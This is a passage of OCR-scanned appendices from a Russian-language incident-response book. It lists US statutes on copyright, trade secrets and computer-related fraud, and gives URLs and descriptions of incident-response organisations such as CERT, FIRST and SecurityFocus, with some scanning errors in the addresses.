Ниже представлены законодательные акты о нарушениях управлением ав-
торским правом, Digital Millennium Copyright Act (DMCA):
17 U.S.С. 1201 Обход систем защиты авторских прав
17 U.S.C. 1202 Целостность информации управления авторским правом
17 U.S.C. 1203 Гражданские средства судебной защиты.
17 U.S.C. 1204 Криминальные нарушения и наказания.
17 U.S.C. 1205 Статьи, исключающие оговорки
Нарушения, связанные с незаконным копированием
Существует один законодательный акт, связанный с незаконным копирова-
нием:
18 U.S.C. 2319A Неавторизованное фиксирование и торговля звуковы-
ми записями и музыкальными видеозаписями живых музыкальных
представлений.
Нарушения, связанные с торговой маркой
Существует один законодательный акт, связанные с торговой маркой
18 U.S.C. 2320 Торговля поддельными товарами или услугами.
Нарушения, связанные с торговыми секретами
Ниже представлены законодательные акты, связанные с нарушением тор
говых секретов.
18 U.S.С. 1831 Экономический шпионаж
18 U.S.C. 1832 Кража торговых секретов
18 U.S.C. 1833 Исключения для запрещений
18 U.S.C. 1834 Криминальная конфискация
18 U.S.С. 1835 Порядок сохранения конфиденциальности
18 U.S.C. 1836 Гражданские дела о запрете нарушений
18U.S.C. 1837 Применение к поведению за пределами США

474
Приложение С
18 U.S.С. 1838 Толкование с другими законами
18 U.S.C. 1839 Определения
Нарушения, связанные с целостностью IP систем
Далее следуют законодательные акты для нарушений, связанных с целост-
ностью IP систем:
17 U.S.C. 506 (с е) Криминальные нарушения
18 U.S.C. 497 Патентная грамота
35 U.S.C. 292 Фальшивая маркировка
Нарушения, связанные со злоупотреблениями
в системах распространения:
18 U.S.C. 1341 Подделки и мошенничество
18 U.S.C. 1343 Обман с помощью телеграфа, радио или телевидения
18 U.S.C. 2512 Производство, распространение, владение и рекламиро-
вание устройств подслушивания телеграфной, устной или электронной
коммуникации запрещено
47 U.S.C. 553 Неавторизованный прием кабельной службы
47 U.S.С. 605 Неавторизованная публикация или использование ин-
формации коммуникации
Коммерческие и торговые законы
Далее перечислены коммерческие и торговые законы, связанные с компью-
терными преступлениями.
15 U.S.C. Ch.41 Защита потребительского кредита --- Подраздел VI ---
Закон об электронном переводе капиталов
15 U.S.C. 1693 Заключения конгресса и декларация от намерениях
15 U.S.C. 1693а Определения
15 U.S.C. 1693п Криминальная ответственность

ПРИЛОЖЕНИЕ D
Организации
реагирования

476
Приложение Р
ЭТО приложение перечисляет сетевые ресурсы, связанные с реагирова-
нием на инциденты и компьютерными преступлениями.
URL
http://Www.first.org
http://www.auscert.org .аи
http://www.cert.org
http://Vvww.securityfocus.com
http://www.nipc.gov
http://www.fedcirc.gov
http.y/www.cert.mil
http://afcert.kelly.af.mil
http://infosec.navy.mil
http://www.ciac.org/ciac
http://www nasirc.nasa.gov
Http://www.cerias.purdue.edu/
hotlist
http://www.cac.washington.edu/
People/dad/
http://packetstorm .security.com/
Описание
Форум объединения по реагированию на инциденты и безопасности
(FIRST).
Австралийская группа реагирования скорой компьютерной помощи
(AUSCERT).
Координационный центр CERT Carnegie Mellon. Он содержит
хорошие ссылки и рекомендации о безопасности в Интернете
и реагировании на инциденты.
Центр обмена информацией об уязвимостях и безопасности. Он
содержит целый раздел об инцидентах с безопасностью, с которым
сотрудничает большое сообщество в Интернете. SecurityFocus
предоставляет также ценные списки рассылки для профессионалов
по безопасности, такие как списки посвященные инцидентам,
судебной экспертизе и уязвимостям.
Национальный центр информационной безопасности (NIPS).
Расположенная физически в штаб квартире ФБР, эта организация
является центральной точкой для ответа на атаки на критически
важные инфраструктуры США. NIPS координирует свои действия
с множеством заинтересованных правительственных и коммерческих
организаций с целью обмена информацией через Infragard
(http://www.infragard.net).
Федеральный центр реагирования на компьютерные инциденты
(FedCIRC). Это центральный орган координации и анализа
для инцидентов с безопасностью гражданских агентств
и учреждений федерального правительства.
Департамент группы срочного реагирования по безопасности
компьютеров (DOD CERT).
Группа реагирования на компьютерные аварии ВВС (AFCERT).
Информационная служба INFOSEC военно морских сил США
Консультативный центр по компьютерным инцидентам министерства
энергетики США
Центр реагирования на инциденты NASA (NASIRC).
Центр Purdue no образованию и исследованию информационной
безопасности (CERIAS). Он включает исчерпывающую коллекцию ссылок
и ресурсов по безопасности в Web.
Сайт Дейва Дитриха в университете Вашинттона. Он содержит
информацию о реагировании на инциденты и судебной экспертизе,
включая исходные статьи.
Большая библиотека информации по безопасности. Это прекрасный ре-
сурс информации об уязвимостях и утилитах безопасности.
---
__